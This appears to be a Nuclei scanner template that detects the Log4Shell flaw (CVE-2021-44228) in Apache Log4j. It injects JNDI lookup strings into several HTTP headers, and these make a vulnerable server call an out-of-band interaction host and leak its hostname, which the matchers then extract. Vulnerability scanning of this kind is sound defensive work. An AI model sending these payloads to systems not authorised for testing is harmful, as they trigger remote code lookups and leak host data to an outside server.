log4j_v4.yaml

id: CVE-2021-44228

info:
  name: Remote code injection in Log4j
  author: melbadry9,dhiyaneshDK,daffainfo
  severity: critical
  description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
  tags: cve,cve2021,rce,oast,log4j

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: ${jndi:rmi://${hostName}.{{interactsh-url}}}
        X-Api-Version: ${jndi:rmi://${hostName}.{{interactsh-url}}}
        Referer: ${jndi:rmi://${hostName}.{{interactsh-url}}}
        X-Forwarded-For: ${jndi:rmi://${hostName}.{{interactsh-url}}}
        Authentication: ${jndi:rmi://${hostName}.{{interactsh-url}}}




    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output